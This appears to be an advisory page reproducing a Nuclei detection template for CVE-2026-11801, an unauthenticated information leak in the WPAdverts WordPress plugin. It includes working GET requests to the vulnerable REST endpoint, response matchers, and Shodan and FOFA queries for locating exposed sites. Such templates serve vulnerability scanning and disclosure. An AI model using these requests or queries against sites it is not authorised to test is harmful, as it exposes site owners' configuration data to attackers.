CVE-2026-11801: WPAdverts <= 2.3.2 - Information Disclosure

2026-08-25 WPAdverts PoC Public

Description

WPAdverts – Classifieds Plugin for WordPress <= 2.3.2 contains an authorization bypass caused by improper user authorization verification in classifieds-types REST endpoint, letting unauthenticated attackers retrieve internal site configuration data, exploit requires no authentication.

PoC

id: CVE-2026-11801

info:
  name: WPAdverts <= 2.3.2 - Information Disclosure
  author: 0x_Akoko
  severity: high
  description: |
    WPAdverts – Classifieds Plugin for WordPress <= 2.3.2 contains an authorization bypass caused by improper user authorization verification in classifieds-types REST endpoint, letting unauthenticated attackers retrieve internal site configuration data, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access internal site configuration data, potentially exposing sensitive information about the site setup.
  remediation: |
    Update to the latest version beyond 2.3.2.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/37bb8d68-dd87-437a-80e5-e99e93dc55b6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-11801
    - https://plugins.trac.wordpress.org/changeset?reponame=&new=3635095%40wpadverts%2Ftrunk&old=3557928%40wpadverts%2Ftrunk
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-11801
    epss-score: 0.00967
    epss-percentile: 0.60081
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: developer
    product: wpadverts
    framework: wordpress
    shodan-query: http.html:"wp-content/plugins/wpadverts"
    fofa-query: body="wp-content/plugins/wpadverts"
  tags: cve,cve2026,wpadverts,wp,wordpress,wp-plugin,exposure

http:
  - raw:
      - |
        GET /wp-json/wpadverts/v1/classifieds-types HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /?rest_route=/wpadverts/v1/classifieds-types HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"form_schemes_default\"", "\"meta__adverts_email\"", "\"post_type\"", "\"data\"")'
        condition: and
# digest: 4a0a00473045022100f01689f4906e6b55e799232a5871b13e4dfe1c613dd9c9ace9f7d021c06eec6d022066646b994f882cdc299766fe7cd0f98fa428625c547d48a73e9b39ac01bd118c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-11801.yaml

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